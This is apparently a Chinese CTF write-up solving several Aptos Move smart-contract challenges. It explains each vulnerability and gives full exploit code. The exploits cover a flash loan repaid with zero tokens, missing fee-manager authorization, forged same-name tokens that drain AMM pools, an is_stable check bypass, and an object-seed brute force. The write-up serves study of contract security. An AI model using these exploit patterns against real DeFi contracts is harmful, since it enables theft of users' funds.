没事干入门下move吧。

welcome

调用solve函数即可

module solution::exploit {
    use challenge::welcome;
 
    public entry fun solve(account: &signer) {
        challenge::welcome::solve(account);
    }
}

super_mario_16

一个游戏需要mario.hp > bowser.hp,训练我们自己的mario的生命值126次刚好是254并且不会溢出

module solution::exploit {
    use challenge::router;
    use aptos_framework::object::{Object, ExtendRef, Self};
    public entry fun solve(account: &signer) {
        let game_address = router::start_game(account);
        let mario_obj = object::address_to_object<router::Mario>(game_address);
 
        // Call the train_mario function
        let i : u8 = 0;
        while (i < 127) {
            router::train_mario(account, mario_obj);
            i = i + 1;
        };
        router::battle(account, mario_obj);
    }
 
    #[test(challenger = @0xb0f8cb39571cf4539106c8d0001fdd8bfc0894cdedf2826219d5be72b44c0a1e,solver=@0x1338)]
    public entry fun sender_can_set_message(challenger: &signer, solver : &signer)  {
       // Initialize the game
        router::initialize(challenger);
 
        // Start the game to create a Mario object
        let game_address = router::start_game(solver);
        let mario_obj = object::address_to_object<router::Mario>(game_address);
 
        // Call the train_mario function
        let i : u8 = 0;
        while (i < 127) {
            router::train_mario(solver, mario_obj);
            i = i + 1;
        };
        router::battle(solver, mario_obj);
        router::is_solved(solver);
    }
}

image.png

super_mario_32

直接调用set_hp即可

module solution::exploit {
    use challenge::router;
    use aptos_framework::signer;
    use std::debug;
    use aptos_framework::object::{Object, ExtendRef, Self};
    public entry fun solve(account: &signer) {
        let wapper = router::get_wrapper();
        router::set_hp(account, object::address_to_object<router::Bowser>(wapper), 1);
        let game_address = router::start_game(account);
        let mario_obj = object::address_to_object<router::Mario>(game_address);
        router::train_mario(account, mario_obj);
        router::battle(account, mario_obj);
    }
  
    #[test(challenger = @0xf75daa73fc071f93593335eb9033da804777eb94491650dd3f095ce6f778acb6,solver=@0x1338)]
    public entry fun sender_can_set_message(challenger: &signer, solver : &signer)   {
        router::initialize(challenger);
        let wapper = router::get_wrapper();
        router::set_hp(solver, object::address_to_object<router::Bowser>(wapper), 1);
        let game_address = router::start_game(solver);
        let mario_obj = object::address_to_object<router::Mario>(game_address);
        router::train_mario(solver, mario_obj);
        router::battle(solver, mario_obj);
        router::is_solved(solver);
    }
}

super_mario_64

添加了权限校验,也就无法直接set_hp了,但当hp相等时会把config.wrapper 关联的对象所有权转移给我们,这个地方一直没用到,但还是没发现怎么打。 image.png 看了看wp,问题确实在这,由于config.wrapper 还关联着Bowser,所以其实我们也拥有Bowser对象了,然后set_hp就行了

module solution::exploit {
    use challenge::router;
    use aptos_framework::object::{Object, ExtendRef, Self};
    public entry fun solve(account: &signer) {
 
    }
    #[test(challenger = @0xf75daa73fc071f93593335eb9033da804777eb94491650dd3f095ce6f778acb6,solver=@0x1338)]
    public entry fun exp_test(challenger: &signer, solver : &signer)   {
        router::initialize(challenger);
        let game_address = router::start_game(solver);
        let mario_obj = object::address_to_object<router::Mario>(game_address);
        let i : u8 = 0;
        while (i < 127) {
            router::train_mario(solver, mario_obj);
            i = i + 1;
        };
        router::battle(solver, mario_obj);
        let wapper = router::get_wrapper();
        router::set_hp(solver, object::address_to_object<router::Bowser>(wapper), 1);
        router::train_mario(solver, object::address_to_object<router::Mario>(wapper));
        router::battle(solver, object::address_to_object<router::Mario>(wapper));
        router::is_solved(solver);
    }
}

flash_load

提供了闪电贷,但是最后repay的时候没有校验返回金额是否和借出的金额匹配,所以直接返回0即可

module solution::exploit {
    use challenge::flash;
    use aptos_framework::signer;
    use aptos_framework::primary_fungible_store;
    use aptos_framework::fungible_asset::{
        Self,
        FungibleAsset,
        MintRef,
        BurnRef,
        TransferRef,
        Metadata
    };
 
    #[test(challenger = @0xf75daa73fc071f93593335eb9033da804777eb94491650dd3f095ce6f778acb6,solver=@0x1338)]
    public entry fun exp_test(challenger: &signer, solver : &signer) {
        flash::initialize(challenger);
        let fa = flash::flash_loan(solver,1337);
        let zeroToken = fungible_asset::zero(fungible_asset::asset_metadata(&fa));
        primary_fungible_store::deposit(signer::address_of(solver),fa);
        flash::repay(solver,zeroToken);
        flash::is_solved(solver);
    }
    public entry fun solve(account: &signer) {
    }
}

simple_swap

initialize

  • 1.初始化APT token和TokenB token
  • 2.创建Faucet用于分配APT token ,admin有8个 token,user有5个token
  • 3.创建一个Vault 用于管理deposit资金
  • 4.创建一个Pool<APT, TokenB>:20个APT token,20个TokenB token
  • 5.创建 Share token,challenger拥有APT token和Share token的所有cap,销毁了TokenB token的所有cap

swap需要amount >= 6才能调用,兑换方式output_0 = input_1 * reserve_0 / reserve_1,导致能用一种token能把另一个token换空。 但是用户初始token只有5个,需要再获取一个。题目提供了admin deposit 8 APT的功能,并且deposit过程中会向下取整导致一些LP token丢失,可以通过以下方式利用,将用户的LP token价值放大。

  • 先deposit 1 APT 换取一个LP token
  • 将剩下的4 token donate掉。
  • admin deposit 8 APT,admin也获取到一个 LP token 。
  • 最后withdraw 1 LP,即可获取6 API token。
module solution::exploit {
    use challenge::swap;
    
  public entry fun solvebeofre(account: &signer) {
        swap::claim(account);
        swap::deposit(account, 1);
        swap::donate(account, 4);
    }
    
    public entry fun solve(account: &signer) {
        swap::withdraw(account, 1); 
        swap::swap<swap::APT, swap::TokenB>(account, 6, true);
        swap::swap<swap::APT, swap::TokenB>(account, 6, false);
        swap::swap<swap::APT, swap::TokenB>(account, 11, true);
        swap::swap<swap::APT, swap::TokenB>(account, 6, false);
    }
}

solve

invoke_function(b"0x0000000000000000000000000000000000000000000000000000000000001338::exploit::solvebeofre", conn)
 
# Invoke functions
invoke_function(b"0x0000000000000000000000000000000000000000000000000000000000001338::exploit::admin_deposit", conn)
 
# Invoke functions
invoke_function(b"0x0000000000000000000000000000000000000000000000000000000000001338::exploit::solve", conn)

swap

题目实现了一个类似uniswap的AMM做市商,并且有恒定的k值,漏洞点主要有一下几个。

Vulnerability

  • 1.create_pool可以被随意调用
  • 2.继第一个问题,如果两个池子包含相同token,会共享同样的余额,因为代币都被存储到了一个账户下。
  • 3.set_fee_manager没有鉴权,任何人都能提取池子里总的手续费用。
  • 4.claim_fees费用扣除错乱,分配给token1的fees却从token2里扣除了。
  • 5.liquidity_pool_address仅仅用token name便能找到池子object,并且swap逻辑中如果不是token1认定就是token2,结合在一起导致能够伪造asset资产。
  • 6.is_stable绕过,生成seed时并没有用到is_stable,导致在swap的时候设置传参就能绕过k值检查。
  • 7.计算K值未扣除手续费,每次swap时的fees都会被累计到pool_data.fees中,但是在swap计算得到的token 数量时,从amountIn扣除了手续费,但是池子的balance并没有扣除pool_data.fees中累计的手续费,导致此时的k值偏高,计算出来的amounOut也会偏高。
  • 第一种做法就是创建创建4个pool,每个pool包含一种恶意的token和一种正常的token,然后铸造大量恶意token将另一种token数量兑换到最小,用claim_fees提取剩下的币即可,这种参考wyl wp
  • 第二种做法就是伪造相同token Name的asset,并且可以爆破一个完美的swap数量,让每次兑换产生的fees加上amounOut刚好是1337,当然不爆破也是可以的,毕竟伪造的token数量是无限的,参考se wp。这里尝试了下第二种做法,exp如下。
module solution::exploit {
    use challenge::router;
    use challenge::pool;
    use aptos_framework::signer::address_of;
    use aptos_framework::vector;
    use aptos_framework::object::{Self, Object};
    use aptos_framework::fungible_asset::{Self, Metadata, FungibleAsset};
    use aptos_framework::primary_fungible_store;
    use aptos_framework::option;
    use aptos_framework::string::{String,utf8, append};
    use std::debug;
 
    const FAKEOSEC: vector<u8> = b"OSEC";
    const FAKEMOVEBIT: vector<u8> = b"MOVEBIT";
    const FAKEZELLIC: vector<u8> = b"ZELLIC";
    const FAKEJBZ: vector<u8> = b"JBZ";
 
    public entry fun getBalance2(_account:&signer,token1: Object<Metadata>,token2: Object<Metadata>,is_stable: bool,choice : bool){
        let (a, b) = router::claim_fees(_account,token1, token2, true);
        primary_fungible_store::deposit(address_of(_account), a);
        primary_fungible_store::deposit(address_of(_account), b);
        
        let (balance1, balance2) = router::balance(token1, token2, is_stable);
        let s = &mut utf8(b"banlance  ");
        let banlance = if (choice){
            append(s, fungible_asset::symbol(token1));
            balance1
        }else{
            append(s, fungible_asset::symbol(token2));
            balance2
        };
        debug::print(s);
        debug::print(&banlance);
    }
    public entry fun FakeSwap2(_account: &signer,metadata: Object<Metadata>,tokenName : vector<u8>,choice : bool , amountIn: u64) {
        let account_address = address_of(_account);
        let fake_constructor_ref = &object::create_named_object(_account, tokenName);
        primary_fungible_store::create_primary_store_enabled_fungible_asset(fake_constructor_ref,
            option::none(),
            utf8(tokenName),
            utf8(tokenName),
            9,
            utf8(b"http://example.com/favicon.ico"),
            utf8(b"https://ctf.aptosfoundation.org/"),);
        let fake_mint_ref = fungible_asset::generate_mint_ref(fake_constructor_ref);
        let fake_tokens = fungible_asset::mint(&fake_mint_ref, amountIn);
        let token = if (choice){
            router::swap_a_2_b(fake_tokens, metadata, true)
        }else{
            router::swap_b_2_a(metadata,fake_tokens, true)
        };
        primary_fungible_store::deposit(account_address, token);
    
 
    }
    public entry fun solve(account: &signer) {
        let (osec_asset, 
            movebit_asset,
            zellic_asset,
            jbz_asset
        ) = router::free_mint(account);
 
        let osec_metadata = fungible_asset::metadata_from_asset(&osec_asset);
        let movebit_metadata = fungible_asset::metadata_from_asset(&movebit_asset);
        let zellic_metadata = fungible_asset::metadata_from_asset(&zellic_asset);
        let jbz_metadata = fungible_asset::metadata_from_asset(&jbz_asset);
 
        let account_address = address_of(account);
        pool::set_fee_manager(account, account_address);
        pool::accept_fee_manager(account);
    
        // attack pool1 
        FakeSwap2(account,movebit_metadata,FAKEOSEC,true,8900);
        getBalance2(account,osec_metadata,movebit_metadata,true,true);
        
        FakeSwap2(account,osec_metadata,FAKEMOVEBIT,false,66850);
        getBalance2(account,osec_metadata,movebit_metadata,true,false);
        // attack pool2
        assert!(pool::is_sorted(zellic_metadata, jbz_metadata), 0);
        FakeSwap2(account,jbz_metadata,FAKEZELLIC,true,4100);
        getBalance2(account,zellic_metadata,jbz_metadata,true,true);
        
        FakeSwap2(account,zellic_metadata,FAKEJBZ,false,133700);
        getBalance2(account,zellic_metadata,jbz_metadata,true,false);
 
        let (fee1, fee2) = router::fees(osec_metadata, movebit_metadata, true);
        let (fee3, fee4) = router::fees(zellic_metadata, jbz_metadata, false);
        assert!(fee1 == 0, 0);
        assert!(fee2 == 0, 0);
        assert!(fee3 == 0, 0);
        assert!(fee4 == 0, 0);
        primary_fungible_store::deposit(account_address, osec_asset);
        primary_fungible_store::deposit(account_address, movebit_asset);
        primary_fungible_store::deposit(account_address, zellic_asset);
        primary_fungible_store::deposit(account_address, jbz_asset);
    
    }
}

image.png

swap_revenge

主要把create_pool的非预期给修复了,所以预期应该是上述第二种做法去伪造token。但这里对于volatile pool的非稳定池子仍然有另外的做法,膜wyl wp。主要是问题4和7可以利用池子k值去达到目标。

you_cant_touch_this

exploit seed

from hashlib import sha3_256
for v  in range(0x1000000):
  addr = bytes.fromhex("0c4bd06e68aaa367c5383e78e2c43b37a06995ce058478d2ddbf89211ceb3577")
  seed = bytes.fromhex(hex(v)[2:].rjust(6, "0"))
 
  if sha3_256(addr + seed + b'\xfe').digest()[:2] == b"\xf7\x5d":
      print(seed.hex())
      break

爆破符合条件的签名地址

module solution::exploit {
    use uctt::this;
    use aptos_framework::object::{Self, Object};
    use std::debug;
    const SEED: vector<u8> = b"\x01\x06\x96";
    const FLAG: vector<u8> = b"osec";
    #[test(challenger = @0xf75daa73fc071f93593335eb9033da804777eb94491650dd3f095ce6f778acb6,solver=@0x0c4bd06e68aaa367c5383e78e2c43b37a06995ce058478d2ddbf89211ceb3577)]
    public entry fun solve(challenger : &signer , solver: &signer) {
        this::initialize(challenger);
        let constructor_ref = object::create_named_object(solver, SEED);
        let admin = object::generate_signer(&constructor_ref); 
        debug::print(&admin);     
        let safe_obj = object::address_to_object<this::SafeDepositBox>(@0xe46a3c36283330c97668b5d4693766b8626420a5701c18eb64026075c3ec8a0a);
        let flag = this::open_safe(safe_obj, &admin);
        let flag = this::touch_this(flag, FLAG, &admin);
        this::close_safe(flag, solver);
    }
}

image.png

groth16

modify_value公开了,直接调用即可

invoke_function(b"0x0000000000000000000000000000000000000000000000000000000000001337::flag::modify_value", conn)

ZKB

能够获取knowledge,通过反序列化读取内部字段值。

module solution::exploit {
 
    use zkb::verify;
    use std::bcs;
    use std::debug;
    use aptos_std::from_bcs;
    #[test(challenger = @0xf75daa73fc071f93593335eb9033da804777eb94491650dd3f095ce6f778acb6,solver=@0x1338)]
    public entry fun solve(challenger:&signer,solver: &signer) {
        verify::initialize(challenger);
        let knowledge = verify::get_knowledge();
        let secret = from_bcs::to_u64(bcs::to_bytes(&knowledge));
        debug::print(&secret);
        verify::prove(&mut knowledge, secret, solver);
    }
}